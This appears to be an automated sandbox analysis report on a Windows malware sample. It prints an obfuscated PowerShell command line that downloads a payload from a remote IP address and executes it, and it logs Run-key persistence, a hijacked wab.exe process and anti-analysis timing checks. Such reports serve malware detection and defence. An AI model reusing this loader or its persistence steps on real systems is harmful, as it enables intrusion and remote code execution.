Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8A6F87 push esp; retf	2_2_00007FFD9B8A6F88
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8A8123 push ebx; ret	2_2_00007FFD9B8A816A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_077708D8 push eax; mov dword ptr [esp], ecx	5_2_07770AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07770AAC push eax; mov dword ptr [esp], ecx	5_2_07770AC4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD09AD push ecx; mov dword ptr [esp], ecx	10_2_23BD09B6

Source: C:\Windows\SysWOW64\AtBroker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PX5H4			Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PX5H4			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 10_2_23BFBBA0 rdtsc

10_2_23BFBBA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5663	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4240	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7092	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2658	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API coverage: 1.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3900	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
